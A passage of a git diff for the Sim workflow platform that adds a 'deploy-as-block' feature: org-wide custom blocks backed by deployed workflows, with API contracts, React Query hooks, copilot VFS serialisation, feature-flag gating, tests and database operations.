mappedResult } catch (error: unknown) { logger.error(`Error executing child workflow ${workflowId}:`, error) + // Custom blocks are an invocation boundary: on failure the consumer must not + // see the source workflow's name, nested error text (which names internal + // blocks), trace spans, or execution result — the success path hides all of + // these too. The real error is logged above for the publisher/ops; the + // consumer gets only a generic failure attributed to the block they placed. + // But a child that failed AFTER consuming hosted keys still owes that spend, + // so capture the child's spans server-side, distill to the aggregate cost, and + // carry only that (no internals) so `block-executor` still bills it. + if (isCustomBlock) { + let failedChildSpans: WorkflowTraceSpan[] = [] + if (hasExecutionResult(error) && error.executionResult.logs) { + failedChildSpans = this.captureChildWorkflowLogs( + error.executionResult, + childWorkflowName, + ctx + ) + } else if (ChildWorkflowError.isChildWorkflowError(error)) { + failedChildSpans = error.childTraceSpans + } + const blockName = block.metadata?.name || 'Custom block' + throw new ChildWorkflowError({ + message: 'Custom block execution failed', + childWorkflowName: blockName, + childTraceSpans: buildCostCarrierSpans( + aggregateChildCost(failedChildSpans), + blockName, + block.metadata?.id ?? 'custom_block' + ), + childWorkflowInstanceId: instanceId, + }) + } + let childTraceSpans: WorkflowTraceSpan[] = [] let executionResult: ExecutionResult | undefined @@ -593,6 +769,34 @@ export class WorkflowBlockHandler implements BlockHandler { return !span.blockId } + /** + * Shape a custom block's successful output. With curated `exposedOutputs`, each + * maps a child block output (blockId + dot-path, read from the child's per-block + * logs) to a named top-level field. With none, exposes the child's whole + * `result`. Never leaks child workflow id/name/trace spans. + */ + private projectCustomBlockOutput( + executionResult: ExecutionResult, + exposedOutputs: CustomBlockOutput[], + childCost: number + ): BlockOutput { + // Aggregate child cost only (never the child's spans/model breakdown) so the + // run is billed while the source workflow's internals stay hidden. + const cost = childCost > 0 ? { cost: { total: childCost } } : {} + if (exposedOutputs.length === 0) { + return { success: true, result: executionResult.output ?? {}, ...cost } + } + const logs = executionResult.logs ?? [] + const output: Record = { success: true, ...cost } + for (const { blockId, path, name } of exposedOutputs) { + const log = + [...logs].reverse().find((l) => l.blockId === blockId && l.success) ?? + [...logs].reverse().find((l) => l.blockId === blockId) + output[name] = log ? getValueAtPath(log.output, path) : undefined + } + return output as BlockOutput + } + private mapChildOutputToParent( childResult: ExecutionResult, childWorkflowId: string, diff --git a/apps/sim/hooks/queries/custom-blocks.ts b/apps/sim/hooks/queries/custom-blocks.ts new file mode 100644 index 00000000000..5771533c440 --- /dev/null +++ b/apps/sim/hooks/queries/custom-blocks.ts @@ -0,0 +1,83 @@ +import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query' +import { requestJson } from '@/lib/api/client/request' +import { + type CustomBlock, + deleteCustomBlockContract, + listCustomBlocksContract, + type PublishCustomBlockBody, + publishCustomBlockContract, + type UpdateCustomBlockBody, + updateCustomBlockContract, +} from '@/lib/api/contracts/custom-blocks' + +export const customBlockKeys = { + all: ['custom-blocks'] as const, + lists: () => [...customBlockKeys.all, 'list'] as const, + list: (workspaceId?: string) => [...customBlockKeys.lists(), workspaceId ?? ''] as const, +} + +interface CustomBlocksResult { + enabled: boolean + customBlocks: CustomBlock[] +} + +async function fetchCustomBlocks( + workspaceId: string, + signal?: AbortSignal +): Promise { + return requestJson(listCustomBlocksContract, { query: { workspaceId }, signal }) +} + +function useCustomBlocksQuery( + workspaceId: string | undefined, + select: (r: CustomBlocksResult) => T +) { + return useQuery({ + queryKey: customBlockKeys.list(workspaceId), + queryFn: ({ signal }) => fetchCustomBlocks(workspaceId as string, signal), + enabled: Boolean(workspaceId), + staleTime: 60 * 1000, + select, + }) +} + +/** Org custom blocks (with live-derived input fields) available in this workspace. */ +export function useCustomBlocks(workspaceId?: string) { + return useCustomBlocksQuery(workspaceId, (r) => r.customBlocks) +} + +/** Whether this workspace may publish/use custom blocks (feature flag + enterprise plan). */ +export function useCanPublishCustomBlock(workspaceId?: string) { + return useCustomBlocksQuery(workspaceId, (r) => r.enabled) +} + +export function usePublishCustomBlock(workspaceId?: string) { + const queryClient = useQueryClient() + return useMutation({ + mutationFn: (body: PublishCustomBlockBody) => requestJson(publishCustomBlockContract, { body }), + onSettled: () => { + queryClient.invalidateQueries({ queryKey: customBlockKeys.list(workspaceId) }) + }, + }) +} + +export function useUpdateCustomBlock(workspaceId?: string) { + const queryClient = useQueryClient() + return useMutation({ + mutationFn: ({ id, ...body }: UpdateCustomBlockBody & { id: string }) => + requestJson(updateCustomBlockContract, { params: { id }, body }), + onSettled: () => { + queryClient.invalidateQueries({ queryKey: customBlockKeys.list(workspaceId) }) + }, + }) +} + +export function useDeleteCustomBlock(workspaceId?: string) { + const queryClient = useQueryClient() + return useMutation({ + mutationFn: (id: string) => requestJson(deleteCustomBlockContract, { params: { id } }), + onSettled: () => { + queryClient.invalidateQueries({ queryKey: customBlockKeys.list(workspaceId) }) + }, + }) +} diff --git a/apps/sim/lib/api/contracts/custom-blocks.ts b/apps/sim/lib/api/contracts/custom-blocks.ts new file mode 100644 index 00000000000..898e177e4ce --- /dev/null +++ b/apps/sim/lib/api/contracts/custom-blocks.ts @@ -0,0 +1,115 @@ +import { z } from 'zod' +import { workflowIdSchema, workspaceIdSchema } from '@/lib/api/contracts/primitives' +import { defineRouteContract } from '@/lib/api/contracts/types' + +const inputFieldSchema = z.object({ + /** Stable per-field id — preserved so client block configs key sub-blocks on it + * (rename-safe wiring) instead of the display name. Absent on legacy fields. */ + id: z.string().optional(), + name: z.string(), + type: z.string(), + description: z.string().optional(), +}) + +/** A curated output: a child-workflow block output (blockId + dot-path) exposed under `name`. */ +const exposedOutputSchema = z.object({ + blockId: z.string().min(1), + path: z.string().min(1), + name: z.string().min(1).max(60), +}) + +export const customBlockSchema = z.object({ + id: z.string(), + organizationId: z.string(), + workflowId: z.string(), + type: z.string(), + name: z.string(), + description: z.string(), + /** Uploaded icon image URL, or null for the default icon. */ + iconUrl: z.string().nullable(), + enabled: z.boolean(), + inputFields: z.array(inputFieldSchema), + /** Curated outputs exposed to consumers; empty = expose the child's whole result. */ + exposedOutputs: z.array(exposedOutputSchema), +}) + +export type CustomBlock = z.output + +export const listCustomBlocksQuerySchema = z.object({ + workspaceId: workspaceIdSchema, +}) + +export const publishCustomBlockBodySchema = z.object({ + workspaceId: workspaceIdSchema, + workflowId: workflowIdSchema, + name: z.string().min(1, 'Name is required').max(60, 'Name must be 60 characters or fewer'), + description: z.string().max(280, 'Description must be 280 characters or fewer').default(''), + /** Uploaded icon image URL; omit for the default icon. */ + iconUrl: z.string().min(1).max(2048).optional(), + /** Curated outputs; omit/empty to expose the child's whole result. */ + exposedOutputs: z.array(exposedOutputSchema).max(50).optional(), +}) + +export type PublishCustomBlockBody = z.input + +export const customBlockIdParamsSchema = z.object({ + id: z.string().min(1), +}) + +export const updateCustomBlockBodySchema = z + .object({ + name: z.string().min(1).max(60).optional(), + description: z.string().max(280).optional(), + enabled: z.boolean().optional(), + /** A URL sets/replaces the icon; `null` clears it (default icon). */ + iconUrl: z.string().min(1).max(2048).nullable().optional(), + exposedOutputs: z.array(exposedOutputSchema).max(50).optional(), + }) + .refine((v) => Object.keys(v).length > 0, { message: 'At least one field is required' }) + +export type UpdateCustomBlockBody = z.input + +export const listCustomBlocksContract = defineRouteContract({ + method: 'GET', + path: '/api/custom-blocks', + query: listCustomBlocksQuerySchema, + response: { + mode: 'json', + schema: z.object({ + /** Whether this workspace can publish/use custom blocks (feature flag + enterprise plan). */ + enabled: z.boolean(), + customBlocks: z.array(customBlockSchema), + }), + }, +}) + +export const publishCustomBlockContract = defineRouteContract({ + method: 'POST', + path: '/api/custom-blocks', + body: publishCustomBlockBodySchema, + response: { + mode: 'json', + schema: z.object({ customBlock: customBlockSchema }), + }, +}) + +export const updateCustomBlockContract = defineRouteContract({ + method: 'PATCH', + path: '/api/custom-blocks/[id]', + params: customBlockIdParamsSchema, + body: updateCustomBlockBodySchema, + response: { + mode: 'json', + schema: z.object({ success: z.literal(true) }), + }, +}) + +export const deleteCustomBlockContract = defineRouteContract({ + method: 'DELETE', + path: '/api/custom-blocks/[id]', + params: customBlockIdParamsSchema, + response: { + mode: 'json', + schema: z.object({ success: z.literal(true) }), + }, +}) diff --git a/apps/sim/lib/copilot/chat/workspace-context.test.ts b/apps/sim/lib/copilot/chat/workspace-context.test.ts index bcb5398b63b..2f8caa114f7 100644 --- a/apps/sim/lib/copilot/chat/workspace-context.test.ts +++ b/apps/sim/lib/copilot/chat/workspace-context.test.ts @@ -17,7 +17,7 @@ vi.mock('@sim/db/schema', () => ({ })) import { canonicalWorkflowVfsDir } from '@/lib/copilot/vfs/path-utils' -import { buildWorkspaceMd, type WorkspaceMdData } from './workspace-context' +import { buildVfsSnapshot, buildWorkspaceMd, type WorkspaceMdData } from './workspace-context' function baseData(overrides: Partial = {}): WorkspaceMdData { return { @@ -270,3 +270,26 @@ describe('buildWorkspaceMd - determinism (prompt-cache stability)', () => { expect(a).not.toContain('rows') }) }) + +describe('custom blocks', () => { + const customBlocks = [ + { type: 'custom_block_abc', name: 'Invoice Parser', description: 'Parses invoices' }, + ] + + it('renders a Custom Blocks section in the workspace markdown', () => { + const md = buildWorkspaceMd(baseData({ customBlocks })) + expect(md).toContain('## Custom Blocks (1)') + expect(md).toContain('- **Invoice Parser** (custom_block_abc) — Parses invoices') + }) + + it('omits the section when there are no custom blocks', () => { + expect(buildWorkspaceMd(baseData())).not.toContain('## Custom Blocks') + }) + + it('never leaks custom blocks into the typed snapshot Go diffs (diff-safety)', () => { + const withBlocks = buildVfsSnapshot(baseData({ customBlocks })) + const without = buildVfsSnapshot(baseData()) + expect('customBlocks' in withBlocks).toBe(false) + expect(JSON.stringify(withBlocks)).toBe(JSON.stringify(without)) + }) +}) diff --git a/apps/sim/lib/copilot/chat/workspace-context.ts b/apps/sim/lib/copilot/chat/workspace-context.ts index 2bbf5311a89..df8447b2015 100644 --- a/apps/sim/lib/copilot/chat/workspace-context.ts +++ b/apps/sim/lib/copilot/chat/workspace-context.ts @@ -20,6 +20,7 @@ import { normalizeVfsSegment } from '@/lib/copilot/vfs/normalize-segment' import { canonicalWorkflowVfsDir, canonicalWorkspaceFilePath } from '@/lib/copilot/vfs/path-utils' import { getAccessibleOAuthCredentials } from '@/lib/credentials/environment' import { listWorkspaceFiles } from '@/lib/uploads/contexts/workspace' +import { listCustomBlockSummariesForWorkspace } from '@/lib/workflows/custom-blocks/operations' import { listCustomTools } from '@/lib/workflows/custom-tools/operations' import { listSkills } from '@/lib/workflows/skills/operations' import { @@ -76,6 +77,7 @@ export interface WorkspaceMdData { envVariables: string[] tasks?: Array<{ id: string; title: string; updatedAt: Date }> customTools?: Array<{ id: string; name: string }> + customBlocks?: Array<{ type: string; name: string; description?: string }> mcpServers?: Array<{ id: string; name: string; url?: string | null; enabled: boolean }> skills?: Array<{ id: string; name: string; description: string }> jobs?: Array<{ @@ -268,6 +270,13 @@ export function buildWorkspaceMd(data: WorkspaceMdData): string { sections.push(`## Custom Tools (${data.customTools.length})\n${lines.join('\n')}`) } + if (data.customBlocks && data.customBlocks.length > 0) { + const lines = [...data.customBlocks] + .sort((a, b) => a.name.localeCompare(b.name)) + .map((b) => `- **${b.name}** (${b.type})${b.description ? ` — ${b.description}` : ''}`) + sections.push(`## Custom Blocks (${data.customBlocks.length})\n${lines.join('\n')}`) + } + if (data.mcpServers && data.mcpServers.length > 0) { const lines = [...data.mcpServers].sort(byNameThenId).map((s) => { const status = s.enabled ? 'enabled' : 'disabled' @@ -344,6 +353,7 @@ async function buildWorkspaceMdData( mcpServerRows, skillRows, jobRows, + customBlockSummaries, ] = await Promise.all([ getUsersWithPermissions(workspaceId), @@ -427,6 +437,8 @@ async function buildWorkspaceMdData( isNull(workflowSchedule.archivedAt) ) ), + + listCustomBlockSummariesForWorkspace(workspaceId), ]) const kbIds = kbs.map((kb) => kb.id) @@ -500,6 +512,7 @@ async function buildWorkspaceMdData( })), envVariables: [], customTools: customTools.map((t) => ({ id: t.id, name: t.title })), + customBlocks: customBlockSummaries, mcpServers: mcpServerRows, skills: skillRows.map((s) => ({ id: s.id, name: s.name, description: s.description })), jobs: jobRows diff --git a/apps/sim/lib/copilot/tools/server/blocks/get-blocks-metadata-tool.ts b/apps/sim/lib/copilot/tools/server/blocks/get-blocks-metadata-tool.ts index f2fc3846ada..6dd2579711a 100644 --- a/apps/sim/lib/copilot/tools/server/blocks/get-blocks-metadata-tool.ts +++ b/apps/sim/lib/copilot/tools/server/blocks/get-blocks-metadata-tool.ts @@ -7,6 +7,7 @@ import { getCopilotToolDescription } from '@/lib/copilot/tools/descriptions' import type { BaseServerTool } from '@/lib/copilot/tools/server/base-tool' import { getAllowedIntegrationsFromEnv, isHosted } from '@/lib/core/config/env-flags' import { getServiceAccountProviderForProviderId } from '@/lib/oauth/utils' +import { isCustomBlockType } from '@/blocks/custom/build-config' import { getBlock } from '@/blocks/registry' import { AuthMode, type BlockConfig, isHiddenFromDisplay } from '@/blocks/types' import { getUserPermissionConfig } from '@/ee/access-control/utils/permission-check' @@ -163,6 +164,34 @@ export const getBlocksMetadataServerTool: BaseServerTool< logger.debug('Skipping block hidden from toolbar', { blockId }) continue } + + if (isCustomBlockType(blockId)) { + // Custom (deploy-as-block) blocks run a bound workflow via an internal + // `workflow_executor`; the agent never configures a workflowId/inputMapping. + // Present it as self-contained: its visible input fields + curated outputs, + // no tools/operations. + const visibleSubBlocks = (blockConfig.subBlocks || []).filter((sb) => !sb.hidden) + const outputs = blockConfig.outputs + ? Object.fromEntries( + Object.entries(blockConfig.outputs).filter(([_, def]) => !isHiddenFromDisplay(def)) + ) + : undefined + metadata = { + id: blockId, + name: blockConfig.name || blockId, + description: blockConfig.longDescription || blockConfig.description || '', + bestPractices: blockConfig.bestPractices, + inputSchema: visibleSubBlocks.map(processSubBlock), + inputDefinitions: {}, + tools: [], + triggers: [], + operationInputSchema: {}, + outputs, + } + result[blockId] = removeNullish(metadata) as CopilotBlockMetadata + continue + } + const tools: CopilotToolMetadata[] = Array.isArray(blockConfig.tools?.access) ? blockConfig.tools!.access.map((toolId) => { const tool = toolsRegistry[toolId] diff --git a/apps/sim/lib/copilot/tools/server/router.ts b/apps/sim/lib/copilot/tools/server/router.ts index 7780f97eb73..6754920bca4 100644 --- a/apps/sim/lib/copilot/tools/server/router.ts +++ b/apps/sim/lib/copilot/tools/server/router.ts @@ -58,6 +58,8 @@ import { getCredentialsServerTool } from '@/lib/copilot/tools/server/user/get-cr import { setEnvironmentVariablesServerTool } from '@/lib/copilot/tools/server/user/set-environment-variables' import { editWorkflowServerTool } from '@/lib/copilot/tools/server/workflow/edit-workflow' import { queryLogsServerTool } from '@/lib/copilot/tools/server/workflow/query-logs' +import { listCustomBlocksWithInputsForWorkspace } from '@/lib/workflows/custom-blocks/operations' +import { withCustomBlockOverlay } from '@/blocks/custom/server-overlay' export type ExecuteResponseSuccess = z.output @@ -68,6 +70,12 @@ const ExecuteResponseSuccessSchema = z.object({ const logger = createLogger('ServerToolRouter') +/** + * Tools that resolve blocks through the registry (`getBlock`/`getAllBlocks`) and + * must run inside the custom-block overlay so `custom_block_*` types resolve. + */ +const CUSTOM_BLOCK_OVERLAY_TOOLS = new Set(['edit_workflow', 'get_blocks_metadata']) + const WRITE_ACTIONS: Record = { [KnowledgeBase.id]: [ 'create', @@ -232,8 +240,18 @@ export async function routeExecution( assertServerToolNotAborted(context, `User stop signal aborted ${toolName} after validation`) - // Execute - const result = await tool.execute(args, context) + // Execute. The registry-dependent tools resolve blocks via getBlock/getAllBlocks; + // wrap them in the custom-block overlay for the workspace's org so `custom_block_*` + // types resolve (metadata lookup + edit-workflow validation) instead of being + // rejected as unknown. Other tools skip the extra query. + const runTool = () => tool.execute(args, context) + const result = + CUSTOM_BLOCK_OVERLAY_TOOLS.has(toolName) && context?.workspaceId + ? await withCustomBlockOverlay( + await listCustomBlocksWithInputsForWorkspace(context.workspaceId), + runTool + ) + : await runTool() // Validate output if tool declares a schema; otherwise fall back to the // generated JSON schema contract emitted from Go. diff --git a/apps/sim/lib/copilot/vfs/custom-block-schema.test.ts b/apps/sim/lib/copilot/vfs/custom-block-schema.test.ts new file mode 100644 index 00000000000..84076c9bc37 --- /dev/null +++ b/apps/sim/lib/copilot/vfs/custom-block-schema.test.ts @@ -0,0 +1,48 @@ +/** + * @vitest-environment node + */ +import { describe, expect, it } from 'vitest' +import { serializeBlockSchema } from '@/lib/copilot/vfs/serializers' +import { buildCustomBlockConfig } from '@/blocks/custom/build-config' +import type { BlockIcon } from '@/blocks/types' + +const icon: BlockIcon = () => null as never + +/** + * The agent must see a custom block as a self-contained block — never as a + * `workflow_executor` needing a workflowId/inputMapping (the plumbing is baked). + */ +describe('serializeBlockSchema for custom blocks', () => { + const config = buildCustomBlockConfig( + { + type: 'custom_block_abc', + name: 'Invoice Parser', + description: 'Parses invoices', + workflowId: 'wf-1', + exposedOutputs: [{ blockId: 'b1', path: 'content', name: 'summary' }], + }, + [ + { name: 'file', type: 'string' }, + { name: 'locale', type: 'string' }, + ], + { icon } + ) + + it('hides workflow_executor and the baked workflowId/inputMapping', () => { + const schema = JSON.parse(serializeBlockSchema(config)) + expect(schema.tools).toEqual([]) + expect(schema.inputs ?? {}).not.toHaveProperty('workflowId') + expect(schema.inputs ?? {}).not.toHaveProperty('inputMapping') + const subBlockIds = (schema.subBlocks ?? []).map((s: { id: string }) => s.id) + expect(subBlockIds).not.toContain('workflowId') + expect(subBlockIds).not.toContain('inputMapping') + }) + + it('exposes the input fields and curated outputs', () => { + const schema = JSON.parse(serializeBlockSchema(config)) + const subBlockIds = (schema.subBlocks ?? []).map((s: { id: string }) => s.id) + expect(subBlockIds).toEqual(expect.arrayContaining(['file', 'locale'])) + expect(Object.keys(schema.outputs)).toEqual(expect.arrayContaining(['summary', 'success'])) + expect(schema.outputs).not.toHaveProperty('childWorkflowId') + }) +}) diff --git a/apps/sim/lib/copilot/vfs/serializers.ts b/apps/sim/lib/copilot/vfs/serializers.ts index 6991a948a98..571768bad6a 100644 --- a/apps/sim/lib/copilot/vfs/serializers.ts +++ b/apps/sim/lib/copilot/vfs/serializers.ts @@ -2,6 +2,7 @@ import { truncate } from '@sim/utils/string' import { getCopilotToolDescription } from '@/lib/copilot/tools/descriptions' import { isHosted } from '@/lib/core/config/env-flags' import { isSubBlockHidden } from '@/lib/workflows/subblocks/visibility' +import { isCustomBlockType } from '@/blocks/custom/build-config' import type { BlockConfig, SubBlockConfig } from '@/blocks/types' import { DYNAMIC_MODEL_PROVIDERS, PROVIDER_DEFINITIONS } from '@/providers/models' import type { ToolConfig } from '@/tools/types' @@ -408,7 +409,14 @@ function serializeSubBlock(sb: SubBlockConfig): Record { * Serialize a block schema for VFS components/blocks/{type}.json */ export function serializeBlockSchema(block: BlockConfig): string { - const hiddenIds = new Set(block.subBlocks.filter(isSubBlockHidden).map((sb) => sb.id)) + // Custom blocks bake their `workflowId`/`inputMapping` as `hidden` sub-blocks; + // treat `hidden` as hidden for them so those never reach the agent's schema. + const customBlock = isCustomBlockType(block.type) + const hiddenIds = new Set( + block.subBlocks + .filter((sb) => isSubBlockHidden(sb) || (customBlock && sb.hidden)) + .map((sb) => sb.id) + ) const subBlocks = block.subBlocks .filter((sb) => !hiddenIds.has(sb.id)) @@ -438,7 +446,12 @@ export function serializeBlockSchema(block: BlockConfig): string { bestPractices: block.bestPractices || undefined, triggerAllowed: block.triggerAllowed || undefined, singleInstance: block.singleInstance || undefined, - tools: block.tools.access, + // Custom (deploy-as-block) blocks execute via a baked `workflow_executor` + // internally; that's implementation plumbing, not something the agent + // configures. Hiding it keeps the block self-contained (fields in, outputs + // out) so the agent doesn't treat it like the generic workflow block and + // ask for a workflowId/inputMapping. + tools: isCustomBlockType(block.type) ? [] : block.tools.access, subBlocks, inputs, outputs: Object.fromEntries( diff --git a/apps/sim/lib/copilot/vfs/workspace-vfs.ts b/apps/sim/lib/copilot/vfs/workspace-vfs.ts index e0dd202cf1c..3e3160a67ed 100644 --- a/apps/sim/lib/copilot/vfs/workspace-vfs.ts +++ b/apps/sim/lib/copilot/vfs/workspace-vfs.ts @@ -107,6 +107,7 @@ import { listWorkspaceFiles, type WorkspaceFileRecord, } from '@/lib/uploads/contexts/workspace/workspace-file-manager' +import { listCustomBlocksWithInputsForWorkspace } from '@/lib/workflows/custom-blocks/operations' import { listCustomTools } from '@/lib/workflows/custom-tools/operations' import { loadWorkflowDeploymentSnapshot, @@ -122,12 +123,18 @@ import { hasWorkspaceAdminAccess, } from '@/lib/workspaces/permissions/utils' import { computeNeedsRedeployment } from '@/app/api/workflows/utils' +import { buildCustomBlockConfig } from '@/blocks/custom/build-config' import { getAllBlocks } from '@/blocks/registry' +import type { BlockIcon } from '@/blocks/types' import { CONNECTOR_REGISTRY } from '@/connectors/registry.server' import type { WorkflowState } from '@/stores/workflows/workflow/types' import { TRIGGER_REGISTRY } from '@/triggers/registry' const logger = createLogger('WorkspaceVFS') + +/** Placeholder icon for custom-block configs — `serializeBlockSchema` never reads it. */ +// double-cast-allowed: a no-op stands in for the unused SVG-typed BlockIcon slot +const PLACEHOLDER_BLOCK_ICON = (() => null) as unknown as BlockIcon const MAX_COMPILED_ATTACHMENT_BYTES = 5 * 1024 * 1024 /** Static component files, computed once and shared across all VFS instances */ @@ -544,6 +551,7 @@ export class WorkspaceVFS { fileSummary, envSummary, toolsSummary, + customBlocksSummary, mcpServersSummary, skillsSummary, taskSummary, @@ -557,6 +565,7 @@ export class WorkspaceVFS { timed('files', this.materializeFiles(workspaceId)), timed('environment', this.materializeEnvironment(workspaceId, userId)), timed('custom_tools', this.materializeCustomTools(workspaceId, userId)), + timed('custom_blocks', this.materializeCustomBlocks(workspaceId)), timed('mcp_servers', this.materializeMcpServers(workspaceId)), timed('skills', this.materializeSkills(workspaceId)), timed('tasks', this.materializeTasks(workspaceId, userId)), @@ -576,6 +585,7 @@ export class WorkspaceVFS { envVariables: envSummary.envVariables, tasks: taskSummary, customTools: toolsSummary, + customBlocks: customBlocksSummary, mcpServers: mcpServersSummary, skills: skillsSummary, jobs: jobsSummary, @@ -1802,6 +1812,51 @@ export class WorkspaceVFS { } } + /** + * Materialize the org's published custom (deploy-as-block) blocks as VFS + * component files — the same `components/blocks/.json` path + serializer + * first-party blocks use — so the agent can grep/read them. Returns the summary + * for `WORKSPACE_CONTEXT.md`. Per-request/per-org, so it bypasses the frozen + * static component cache. Only enabled blocks are exposed. + */ + private async materializeCustomBlocks( + workspaceId: string + ): Promise> { + try { + const blocks = await listCustomBlocksWithInputsForWorkspace(workspaceId) + const summary: NonNullable = [] + + for (const cb of blocks) { + if (!cb.enabled) continue + const config = buildCustomBlockConfig( + { + type: cb.type, + name: cb.name, + description: cb.description, + workflowId: cb.workflowId, + exposedOutputs: cb.exposedOutputs, + }, + cb.inputFields, + { icon: PLACEHOLDER_BLOCK_ICON } + ) + this.files.set(`components/blocks/${config.type}.json`, serializeBlockSchema(config)) + summary.push({ + type: cb.type, + name: cb.name, + ...(cb.description ? { description: cb.description } : {}), + }) + } + + return summary + } catch (err) { + logger.warn('Failed to materialize custom blocks', { + workspaceId, + error: toError(err).message, + }) + return [] + } + } + /** * Materialize external MCP server connections using the mcpServers table. */ diff --git a/apps/sim/lib/core/config/env.ts b/apps/sim/lib/core/config/env.ts index 1c03ce965c8..4f16bbc49af 100644 --- a/apps/sim/lib/core/config/env.ts +++ b/apps/sim/lib/core/config/env.ts @@ -422,6 +422,7 @@ export const env = createEnv({ DATA_RETENTION_ENABLED: z.boolean().optional(), // Enable data retention settings on self-hosted (bypasses hosted requirements) DATA_DRAINS_ENABLED: z.boolean().optional(), // Enable data drains on self-hosted (bypasses hosted requirements) FORKING_ENABLED: z.boolean().optional(), // Enable workspace forking on self-hosted (bypasses hosted requirements) + DEPLOY_AS_BLOCK: z.boolean().optional(), // Enable deploy-as-block (publish a workflow as a reusable org-wide custom block) // Organizations - for self-hosted deployments ORGANIZATIONS_ENABLED: z.boolean().optional(), // Enable organizations on self-hosted (bypasses plan requirements) diff --git a/apps/sim/lib/core/config/feature-flags.test.ts b/apps/sim/lib/core/config/feature-flags.test.ts index e9276ef4d53..d9a251d472f 100644 --- a/apps/sim/lib/core/config/feature-flags.test.ts +++ b/apps/sim/lib/core/config/feature-flags.test.ts @@ -11,6 +11,7 @@ const { mockFetch, mockIsPlatformAdmin, envRef, flagRef } = vi.hoisted(() => ({ APPCONFIG_APPLICATION: 'sim-staging' as string | undefined, APPCONFIG_ENVIRONMENT: 'staging' as string | undefined, FORKING_ENABLED: undefined as boolean | undefined, + DEPLOY_AS_BLOCK: undefined as boolean | undefined, }, flagRef: { isAppConfigEnabled: false }, })) @@ -110,6 +111,7 @@ describe('isFeatureEnabled', () => { vi.clearAllMocks() flagRef.isAppConfigEnabled = false envRef.FORKING_ENABLED = undefined + envRef.DEPLOY_AS_BLOCK = undefined }) describe('workspace-forking flag', () => { @@ -131,6 +133,23 @@ describe('isFeatureEnabled', () => { }) }) + describe('deploy-as-block flag', () => { + it('falls back to DEPLOY_AS_BLOCK when AppConfig is disabled', async () => { + envRef.DEPLOY_AS_BLOCK = undefined + expect(await isFeatureEnabled('deploy-as-block', { userId: 'u1', orgId: 'o1' })).toBe(false) + + envRef.DEPLOY_AS_BLOCK = true + expect(await isFeatureEnabled('deploy-as-block', { userId: 'u1', orgId: 'o1' })).toBe(true) + }) + + it('targets specific orgs via AppConfig, ignoring the fallback secret', async () => { + envRef.DEPLOY_AS_BLOCK = undefined + withAppConfig({ 'deploy-as-block': { orgIds: ['o1'] } }) + expect(await isFeatureEnabled('deploy-as-block', { orgId: 'o1' })).toBe(true) + expect(await isFeatureEnabled('deploy-as-block', { orgId: 'o2' })).toBe(false) + }) + }) + it('returns false for an unknown flag', async () => { withAppConfig({}) expect(await enabled('missing', { userId: 'u1' })).toBe(false) diff --git a/apps/sim/lib/core/config/feature-flags.ts b/apps/sim/lib/core/config/feature-flags.ts index 7756ac9e79b..1f345632c6b 100644 --- a/apps/sim/lib/core/config/feature-flags.ts +++ b/apps/sim/lib/core/config/feature-flags.ts @@ -115,6 +115,13 @@ const FEATURE_FLAGS = { 'self-hosted/local behaviour. Fallback mirrors FORKING_ENABLED for off-AppConfig reads.', fallback: 'FORKING_ENABLED', }, + 'deploy-as-block': { + description: + 'Publish a deployed workflow as a reusable, org-wide custom block (custom name/SVG icon/' + + 'description; Start inputs become block inputs). Gates the Deploy-modal "Block" tab and the ' + + 'custom-block publish/list routes. Off-AppConfig falls back to DEPLOY_AS_BLOCK.', + fallback: 'DEPLOY_AS_BLOCK', + }, } satisfies Record /** diff --git a/apps/sim/lib/workflows/custom-blocks/operations.ts b/apps/sim/lib/workflows/custom-blocks/operations.ts new file mode 100644 index 00000000000..1bf776da102 --- /dev/null +++ b/apps/sim/lib/workflows/custom-blocks/operations.ts @@ -0,0 +1,367 @@ +import { db } from '@sim/db' +import { customBlock, workflow } from '@sim/db/schema' +import { createLogger } from '@sim/logger' +import { generateId, generateShortId } from '@sim/utils/id' +import { and, eq } from 'drizzle-orm' +import { isOrganizationOnEnterprisePlan } from '@/lib/billing/core/subscription' +import { isFeatureEnabled } from '@/lib/core/config/feature-flags' +import { extractInputFieldsFromBlocks, type WorkflowInputField } from '@/lib/workflows/input-format' +import { loadDeployedWorkflowState } from '@/lib/workflows/persistence/utils' +import { getWorkspaceWithOwner } from '@/lib/workspaces/permissions/utils' +import type { CustomBlockOutput, CustomBlockRow } from '@/blocks/custom/build-config' +import { CUSTOM_BLOCK_TYPE_PREFIX } from '@/blocks/custom/build-config' + +const logger = createLogger('CustomBlocksOperations') + +/** + * Resolve a workspace's organization ONLY when custom blocks are enabled for it — + * the same gate the REST list/publish routes apply (`deploy-as-block` flag + + * enterprise plan). Applying it in every org-scoped resolver keeps execution, the + * copilot VFS, and workspace context from surfacing blocks the API withholds (e.g. + * after an org drops off the enterprise plan). Returns `null` when ineligible. + */ +async function eligibleOrgForWorkspace(workspaceId: string): Promise { + const ws = await getWorkspaceWithOwner(workspaceId, { includeArchived: true }) + if (!ws?.organizationId) return null + if (!(await isFeatureEnabled('deploy-as-block', { orgId: ws.organizationId }))) return null + if (!(await isOrganizationOnEnterprisePlan(ws.organizationId))) return null + return ws.organizationId +} + +/** A persisted custom block plus its live-derived Start input fields. */ +export interface CustomBlockWithInputs { + id: string + organizationId: string + workflowId: string + type: string + name: string + description: string + iconUrl: string | null + enabled: boolean + inputFields: WorkflowInputField[] + exposedOutputs: CustomBlockOutput[] +} + +/** + * Derive a bound workflow's Start input fields from its LATEST DEPLOYMENT — the + * exact state execution runs. Deriving from the draft/editor tables would let the + * block advertise inputs the deployed child doesn't accept (or miss ones it still + * expects) whenever the publisher edits after deploying. Returns `[]` if the + * workflow has no active deployment. + */ +async function deriveInputFields(workflowId: string): Promise { + try { + const deployed = await loadDeployedWorkflowState(workflowId) + return extractInputFieldsFromBlocks(deployed.blocks) + } catch { + return [] + } +} + +/** + * The org's custom blocks as bare `CustomBlockRow`s for the server overlay + * (`withCustomBlockOverlay`). Only enabled rows — a disabled block must not + * resolve for execution. No input fields (the server's `inputMapping` is + * schema-agnostic). + */ +export async function getCustomBlockRowsForOrg(organizationId: string): Promise { + const rows = await db + .select({ + type: customBlock.type, + name: customBlock.name, + description: customBlock.description, + workflowId: customBlock.workflowId, + outputs: customBlock.outputs, + }) + .from(customBlock) + .where(and(eq(customBlock.organizationId, organizationId), eq(customBlock.enabled, true))) + + return rows.map(({ outputs, ...r }) => ({ ...r, exposedOutputs: outputs ?? [] })) +} + +/** + * The custom-block rows in scope for a workspace's organization, for wrapping an + * execution in `withCustomBlockOverlay`. Returns `[]` when the workspace has no + * organization (nothing to resolve). + */ +export async function getCustomBlockRowsForWorkspace( + workspaceId: string 